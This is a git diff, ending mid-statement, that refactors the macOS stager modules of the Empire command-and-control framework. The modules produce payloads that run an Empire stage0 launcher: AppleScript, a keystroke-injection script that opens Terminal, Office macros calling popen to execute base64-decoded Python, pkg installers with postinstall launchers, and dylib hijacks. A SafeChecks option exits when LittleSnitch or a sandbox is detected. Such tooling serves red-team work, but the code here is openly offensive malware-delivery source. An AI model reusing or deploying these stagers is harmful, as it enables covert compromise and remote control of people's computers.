b/empire/server/stagers/osx/applescript.py @@ -12,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y'], - 'Description': ('Generates AppleScript to execute the Empire stage0 launcher.'), + 'Description': 'Generates AppleScript to execute the Empire stage0 launcher.', 'Comments': [ '' @@ -23,32 +23,34 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True }, - 'OutFile' : { - 'Description' : 'File to output AppleScript to, otherwise displayed on the screen.', - 'Required' : False, - 'Value' : '' + 'OutFile': { + 'Description': 'File to output AppleScript to, otherwise displayed on the screen.', + 'Required': False, + 'Value': '' }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -66,12 +68,13 @@ def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - userAgent = self.options['UserAgent']['Value'] - safeChecks = self.options['SafeChecks']['Value'] + listener_name = self.options['Listener']['Value'] + user_agent = self.options['UserAgent']['Value'] + safe_checks = self.options['SafeChecks']['Value'] # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks) + launcher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, encode=True, + userAgent=user_agent, safeChecks=safe_checks) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) @@ -79,7 +82,5 @@ def generate(self): else: launcher = launcher.replace('"', '\\"') - applescript = "do shell script \"%s\"" % (launcher) - return applescript diff --git a/empire/server/stagers/osx/application.py b/empire/server/stagers/osx/application.py index 816ca9aea..242775524 100644 --- a/empire/server/stagers/osx/application.py +++ b/empire/server/stagers/osx/application.py @@ -12,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@xorrior'], - 'Description': ('Generates an Empire Application.'), + 'Description': 'Generates an Empire Application.', 'Comments': [ '' @@ -23,47 +23,51 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True }, - 'AppIcon' : { - 'Description' : 'Path to AppIcon.icns file. The size should be 16x16,32x32,128x128, or 256x256. Defaults to none.', - 'Required' : False, - 'Value' : '' + 'AppIcon': { + 'Description': 'Path to AppIcon.icns file. The size should be 16x16,32x32,128x128, or 256x256. Defaults to none.', + 'Required': False, + 'Value': '' }, - 'AppName' : { - 'Description' : 'Name of the Application Bundle. This change will reflect in the Info.plist and the name of the binary in Contents/MacOS/.', - 'Required' : False, - 'Value' : '' + 'AppName': { + 'Description': 'Name of the Application Bundle. This change will reflect in the Info.plist and the name of the binary in Contents/MacOS/.', + 'Required': False, + 'Value': '' }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output.', - 'Required' : True, - 'Value' : 'out.zip' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output.', + 'Required': True, + 'Value': 'out.zip' }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Architecture' : { - 'Description' : 'Architecture to use. x86 or x64', - 'Required' : True, - 'Value' : 'x64' + 'Architecture': { + 'Description': 'Architecture to use. x86 or x64', + 'Required': True, + 'Value': 'x64', + 'SuggestedValues': ['x64', 'x86'], + 'Strict': True } } @@ -81,17 +85,17 @@ def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - savePath = self.options['OutFile']['Value'] - userAgent = self.options['UserAgent']['Value'] - SafeChecks = self.options['SafeChecks']['Value'] + listener_name = self.options['Listener']['Value'] + save_path = self.options['OutFile']['Value'] + user_agent = self.options['UserAgent']['Value'] + safe_checks = self.options['SafeChecks']['Value'] arch = self.options['Architecture']['Value'] - icnsPath = self.options['AppIcon']['Value'] - AppName = self.options['AppName']['Value'] - + icns_path = self.options['AppIcon']['Value'] + app_name = self.options['AppName']['Value'] # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, userAgent=userAgent, safeChecks=SafeChecks) + launcher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, userAgent=user_agent, + safeChecks=safe_checks) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) @@ -100,5 +104,6 @@ def generate(self): else: disarm = False launcher = launcher.strip('echo').strip(' | python3 &').strip("\"") - ApplicationZip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcher,Arch=arch,icon=icnsPath,AppName=AppName, disarm=disarm) - return ApplicationZip + application_zip = self.mainMenu.stagers.generate_appbundle(launcherCode=launcher, Arch=arch, icon=icns_path, + AppName=app_name, disarm=disarm) + return application_zip diff --git a/empire/server/stagers/osx/ducky.py b/empire/server/stagers/osx/ducky.py index bece67bab..2f91a04a1 100755 --- a/empire/server/stagers/osx/ducky.py +++ b/empire/server/stagers/osx/ducky.py @@ -2,6 +2,7 @@ from builtins import object from empire.server.common import helpers + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -11,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@xorrior'], - 'Description': ('Generates a ducky script that runs a one-liner stage0 launcher for Empire.'), + 'Description': 'Generates a ducky script that runs a one-liner stage0 launcher for Empire.', 'Comments': [ '' @@ -22,32 +23,34 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'OutFile' : { - 'Description' : 'File to output duckyscript to, otherwise displayed on the screen.', - 'Required' : False, - 'Value' : '' + 'OutFile': { + 'Description': 'File to output duckyscript to, otherwise displayed on the screen.', + 'Required': False, + 'Value': '' }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -61,31 +64,31 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - userAgent = self.options['UserAgent']['Value'] - safeChecks = self.options['SafeChecks']['Value'] + listener_name = self.options['Listener']['Value'] + user_agent = self.options['UserAgent']['Value'] + safe_checks = self.options['SafeChecks']['Value'] # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks) - + launcher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, encode=True, + userAgent=user_agent, safeChecks=safe_checks) + if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: - - duckyCode = "DELAY 1000\n" - duckyCode += "COMMAND SPACE\n" - duckyCode += "DELAY 1000\n" - duckyCode += "STRING TERMINAL\n" - duckyCode += "ENTER \n" - duckyCode += "DELAY 1000\n" - duckyCode += "STRING "+launcher - duckyCode += "\nENTER\n" - duckyCode += "DELAY 1000\n" - - return duckyCode + + ducky_code = "DELAY 1000\n" + ducky_code += "COMMAND SPACE\n" + ducky_code += "DELAY 1000\n" + ducky_code += "STRING TERMINAL\n" + ducky_code += "ENTER \n" + ducky_code += "DELAY 1000\n" + ducky_code += "STRING " + launcher + ducky_code += "\nENTER\n" + ducky_code += "DELAY 1000\n" + + return ducky_code diff --git a/empire/server/stagers/osx/dylib.py b/empire/server/stagers/osx/dylib.py index 66c5b14e9..6a8c5f156 100644 --- a/empire/server/stagers/osx/dylib.py +++ b/empire/server/stagers/osx/dylib.py @@ -2,6 +2,7 @@ from builtins import object from empire.server.common import helpers + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -11,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@xorrior'], - 'Description': ('Generates a dylib.'), + 'Description': 'Generates a dylib.', 'Comments': [ '' @@ -22,44 +23,46 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' + }, + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' + 'Architecture': { + 'Description': 'Architecture: x86/x64', + 'Required': True, + 'Value': 'x86' }, - 'Architecture' : { - 'Description' : 'Architecture: x86/x64', - 'Required' : True, - 'Value' : 'x86' + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'Hijacker': { + 'Description': 'Generate dylib to be used in a Dylib Hijack. This provides a dylib with the LC_REEXPORT_DYLIB load command. The path will serve as a placeholder.', + 'Required': True, + 'Value': 'False', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'Hijacker' : { - 'Description' : 'Generate dylib to be used in a Dylib Hijack. This provides a dylib with the LC_REEXPORT_DYLIB load command. The path will serve as a placeholder.', - 'Required' : True, - 'Value' : 'False', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True - }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output.', - 'Required' : True, - 'Value' : '' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output.', + 'Required': True, + 'Value': '' }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -76,18 +79,19 @@ def __init__(self, mainMenu, params=[]): def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - userAgent = self.options['UserAgent']['Value'] + listener_name = self.options['Listener']['Value'] + user_agent = self.options['UserAgent']['Value'] arch = self.options['Architecture']['Value'] hijacker = self.options['Hijacker']['Value'] - safeChecks = self.options['SafeChecks']['Value'] + safe_checks = self.options['SafeChecks']['Value'] if arch == "": print(helpers.color("[!] Please select a valid architecture")) return "" # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, userAgent=userAgent, safeChecks=safeChecks) + launcher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, userAgent=user_agent, + safeChecks=safe_checks) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) @@ -97,4 +101,3 @@ def generate(self): launcher = launcher.strip('echo').strip(' | python3 &').strip("\"") dylib = self.mainMenu.stagers.generate_dylib(launcherCode=launcher, arch=arch, hijacker=hijacker) return dylib - diff --git a/empire/server/stagers/osx/jar.py b/empire/server/stagers/osx/jar.py index f66f3bc14..e1f7d4f3b 100644 --- a/empire/server/stagers/osx/jar.py +++ b/empire/server/stagers/osx/jar.py @@ -2,6 +2,7 @@ from builtins import object from empire.server.common import helpers + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -11,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@xorrior'], - 'Description': ('Generates a JAR file.'), + 'Description': 'Generates a JAR file.', 'Comments': [ '' @@ -22,32 +23,34 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' + }, + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'OutFile': { + 'Description': 'File to output jar to.', + 'Required': True, + 'Value': '/tmp/out.jar' }, - 'OutFile' : { - 'Description' : 'File to output duckyscript to.', - 'Required' : True, - 'Value' : '/tmp/out.jar' - }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -61,21 +64,21 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - userAgent = self.options['UserAgent']['Value'] - SafeChecks = self.options['SafeChecks']['Value'] + listener_name = self.options['Listener']['Value'] + user_agent = self.options['UserAgent']['Value'] + safe_checks = self.options['SafeChecks']['Value'] # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=SafeChecks) - + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, encode=True, + userAgent=user_agent, safeChecks=safe_checks) + if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: - launcher = launcher.replace('"','\\"') - jarBytes = self.mainMenu.stagers.generate_jar(launcherCode=launcher) - return jarBytes + launcher = launcher.replace('"', '\\"') + jar_bytes = self.mainMenu.stagers.generate_jar(launcherCode=launcher) + return jar_bytes diff --git a/empire/server/stagers/osx/launcher.py b/empire/server/stagers/osx/launcher.py index 63b2debcf..a0de892c4 100644 --- a/empire/server/stagers/osx/launcher.py +++ b/empire/server/stagers/osx/launcher.py @@ -12,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y'], - 'Description': ('Generates a one-liner stage0 launcher for Empire.'), + 'Description': 'Generates a one-liner stage0 launcher for Empire.', 'Comments': [ '' @@ -23,39 +23,41 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True }, 'OutFile': { 'Description': 'Filename that should be used for the generated output.', 'Required': False, 'Value': '' }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True + }, + 'Base64': { + 'Description': 'Switch. Base64 encode the output.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'Base64' : { - 'Description' : 'Switch. Base64 encode the output.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True - }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -73,17 +75,18 @@ def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] + listener_name = self.options['Listener']['Value'] base64 = self.options['Base64']['Value'] - userAgent = self.options['UserAgent']['Value'] - safeChecks = self.options['SafeChecks']['Value'] + user_agent = self.options['UserAgent']['Value'] + safe_checks = self.options['SafeChecks']['Value'] encode = False if base64.lower() == "true": encode = True # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, userAgent=userAgent, safeChecks=safeChecks) + launcher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, encode=encode, + userAgent=user_agent, safeChecks=safe_checks) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) diff --git a/empire/server/stagers/osx/macho.py b/empire/server/stagers/osx/macho.py index 66e42219c..4d80f6d71 100644 --- a/empire/server/stagers/osx/macho.py +++ b/empire/server/stagers/osx/macho.py @@ -12,7 +12,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@xorrior'], - 'Description': ('Generates a macho executable.'), + 'Description': 'Generates a macho executable.', 'Comments': [ '' @@ -23,32 +23,34 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True }, - 'OutFile' : { - 'Description' : 'Filename that should be used for the generated output.', - 'Required' : True, - 'Value' : '' + 'OutFile': { + 'Description': 'Filename that should be used for the generated output.', + 'Required': True, + 'Value': 'macho.out' }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -66,21 +68,22 @@ def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - savePath = self.options['OutFile']['Value'] - userAgent = self.options['UserAgent']['Value'] - safeChecks = self.options['SafeChecks']['Value'] + listener_name = self.options['Listener']['Value'] + save_path = self.options['OutFile']['Value'] + user_agent = self.options['UserAgent']['Value'] + safe_checks = self.options['SafeChecks']['Value'] # generate the launcher code # turn base64 encoding off encode = False - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=encode, userAgent=userAgent, safeChecks=safeChecks) + launcher = self.mainMenu.stagers.generate_launcher(listener_name, language=language, encode=encode, + userAgent=user_agent, safeChecks=safe_checks) if launcher == "": print(helpers.color("[!] Error in launcher command generation.")) return "" else: - #launcher = launcher.strip('echo') + # launcher = launcher.strip('echo') macho = self.mainMenu.stagers.generate_macho(launcher) return macho diff --git a/empire/server/stagers/osx/macro.py b/empire/server/stagers/osx/macro.py index db62a8208..dd5a1d94e 100644 --- a/empire/server/stagers/osx/macro.py +++ b/empire/server/stagers/osx/macro.py @@ -5,6 +5,7 @@ from empire.server.common import helpers import re + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -14,7 +15,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y', '@dchrastil', '@import-au'], - 'Description': ('An OSX office macro that supports newer versions of Office.'), + 'Description': 'An OSX office macro that supports newer versions of Office.', 'Comments': [ "http://stackoverflow.com/questions/6136798/vba-shell-function-in-office-2011-for-mac" @@ -25,37 +26,41 @@ def __init__(self, mainMenu, params=[]): self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True }, - 'OutFile' : { - 'Description' : 'File to output AppleScript to, otherwise displayed on the screen.', - 'Required' : False, - 'Value' : '' + 'OutFile': { + 'Description': 'File to output AppleScript to, otherwise displayed on the screen.', + 'Required': False, + 'Value': '' }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' }, - 'Version' : { - 'Description' : 'Version of Office for Mac. Accepts values "old" and "new". Old applies to versions of Office for Mac older than 15.26. New applies to versions of Office for Mac 15.26 and newer. Defaults to new.', - 'Required' : True, - 'Value' : 'new' + 'Version': { + 'Description': 'Version of Office for Mac. Accepts values "old" and "new". Old applies to versions of Office for Mac older than 15.26. New applies to versions of Office for Mac 15.26 and newer. Defaults to new.', + 'Required': True, + 'Value': 'new', + 'SuggestedValues': ['new', 'old'], + 'Strict': True } } @@ -69,7 +74,6 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): def formStr(varstr, instr): holder = [] @@ -77,26 +81,27 @@ def formStr(varstr, instr): str2 = '' str1 = varstr + ' = "' + instr[:54] + '"' for i in range(54, len(instr), 48): - holder.append('\t\t' + varstr + ' = '+ varstr +' + "'+instr[i:i+48]) + holder.append('\t\t' + varstr + ' = ' + varstr + ' + "' + instr[i:i + 48]) str2 = '"\r\n'.join(holder) str2 = str2 + "\"" - str1 = str1 + "\r\n"+str2 + str1 = str1 + "\r\n" + str2 return str1 # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - userAgent = self.options['UserAgent']['Value'] - safeChecks = self.options['SafeChecks']['Value'] + listener_name = self.options['Listener']['Value'] + user_agent = self.options['UserAgent']['Value'] + safe_checks = self.options['SafeChecks']['Value'] version = self.options['Version']['Value'] - + try: version = str(version).lower() except TypeError: raise TypeError('Invalid version provided. Accepts "new" and "old"') # generate the python launcher code - pylauncher = self.mainMenu.stagers.generate_launcher(listenerName, language="python", encode=True, userAgent=userAgent, safeChecks=safeChecks) + pylauncher = self.mainMenu.stagers.generate_launcher(listener_name, language="python", encode=True, + userAgent=user_agent, safeChecks=safe_checks) if pylauncher == "": print(helpers.color("[!] Error in python launcher command generation.")) @@ -134,7 +139,7 @@ def formStr(varstr, instr): 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python3 &") result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python3 &") #End If - End Function""" %(payload) + End Function""" % (payload) elif version == "new": macro = """ Private Declare PtrSafe Function system Lib "libc.dylib" Alias "popen" (ByVal command As String, ByVal mode As String) as LongPtr diff --git a/empire/server/stagers/osx/pkg.py b/empire/server/stagers/osx/pkg.py index fe84d4fe5..9d91b84c0 100644 --- a/empire/server/stagers/osx/pkg.py +++ b/empire/server/stagers/osx/pkg.py @@ -2,6 +2,7 @@ from builtins import object from empire.server.common import helpers + class Stager(object): def __init__(self, mainMenu, params=[]): @@ -11,53 +12,55 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@xorrior'], - 'Description': ('Generates a pkg installer. The installer will copy a custom (empty) application to the /Applications folder. The postinstall script will execute an Empire launcher.'), + 'Description': + 'Generates a pkg installer. The installer will copy a custom (empty) application to the /Applications ' + 'folder. The postinstall script will execute an Empire launcher.', - 'Comments': [ - '' - ] + 'Comments': [''] } # any options needed by the stager, settable during runtime self.options = { # format: # value_name : {description, required, default_value} - 'Listener' : { - 'Description' : 'Listener to generate stager for.', - 'Required' : True, - 'Value' : '' + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' }, - 'Language' : { - 'Description' : 'Language of the stager to generate.', - 'Required' : True, - 'Value' : 'python' + 'Language': { + 'Description': 'Language of the stager to generate.', + 'Required': True, + 'Value': 'python', + 'SuggestedValues': ['python'], + 'Strict': True }, - 'AppIcon' : { - 'Description' : 'Path to AppIcon.icns file. The size should be 16x16,32x32,128x128, or 256x256. Defaults to none.', - 'Required' : False, - 'Value' : '' + 'AppIcon': { + 'Description': 'Path to AppIcon.icns file. The size should be 16x16,32x32,128x128, or 256x256. Defaults to none.', + 'Required': False, + 'Value': '' }, - 'AppName' : { - 'Description' : 'Name of the Application Bundle. This change will reflect in the Info.plist and the name of the binary in Contents/MacOS/.', - 'Required' : False, - 'Value' : '' + 'AppName': { + 'Description': 'Name of the Application Bundle. This change will reflect in the Info.plist and the name of the binary in Contents/MacOS/.', + 'Required': False, + 'Value': '' }, - 'OutFile' : { - 'Description' : 'File to write dmg volume to.', - 'Required' : True, - 'Value' : '/tmp/out.pkg' + 'OutFile': { + 'Description': 'File to write dmg volume to.', + 'Required': True, + 'Value': '/tmp/out.pkg' }, - 'SafeChecks' : { - 'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', - 'Required' : True, - 'Value' : 'True', - 'SuggestedValues': ['True', 'False'], - 'Strict' : True + 'SafeChecks': { + 'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.', + 'Required': True, + 'Value': 'True', + 'SuggestedValues': ['True', 'False'], + 'Strict': True }, - 'UserAgent' : { - 'Description' : 'User-agent string to use for the staging request (default, none, or other).', - 'Required' : False, - 'Value' : 'default' + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' } } @@ -75,25 +78,29 @@ def generate(self): # extract all of our options language = self.options['Language']['Value'] - listenerName = self.options['Listener']['Value'] - userAgent = self.options['UserAgent']['Value'] - SafeChecks = self.options['SafeChecks']['Value'] - icnsPath = self.options['AppIcon']['Value'] - AppName = self.options['AppName']['Value'] + listener_name = self.options['Listener']['Value'] + user_agent = self.options['UserAgent']['Value'] + safe_checks = self.options['SafeChecks']['Value'] + icns_path = self.options['AppIcon']['Value'] + app_name = self.options['AppName']['Value'] arch = 'x64' # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, userAgent=userAgent, safeChecks=SafeChecks) + launcher = self.mainMenu.stagers.generate_launcher(listenerName=listener_name, language=language, + 